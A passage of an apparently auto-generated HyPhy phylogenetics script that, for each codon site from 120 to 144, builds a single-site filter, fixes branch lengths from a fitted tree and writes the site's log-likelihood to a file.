LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "120\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 121...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "360,361,362", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 121");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "121\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 122...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "363,364,365", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 122");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "122\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 123...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "366,367,368", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 123");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "123\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 124...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "369,370,371", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 124");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "124\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 125...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "372,373,374", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 125");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "125\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 126...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "375,376,377", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 126");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "126\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 127...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "378,379,380", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 127");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "127\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 128...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "381,382,383", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 128");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "128\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 129...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "384,385,386", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 129");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "129\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 130...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "387,388,389", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 130");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "130\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 131...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "390,391,392", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 131");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "131\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 132...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "393,394,395", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 132");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "132\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 133...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "396,397,398", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 133");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "133\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 134...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "399,400,401", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 134");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "134\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 135...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "402,403,404", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 135");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "135\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 136...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "405,406,407", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 136");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "136\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 137...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "408,409,410", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 137");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "137\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 138...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "411,412,413", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 138");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "138\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 139...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "414,415,416", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 139");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "139\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 140...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "417,418,419", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 140");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "140\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 141...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "420,421,422", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 141");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "141\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 142...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "423,424,425", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 142");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "142\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 143...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "426,427,428", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 143");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "143\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 144...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "429,430,431", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 144");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
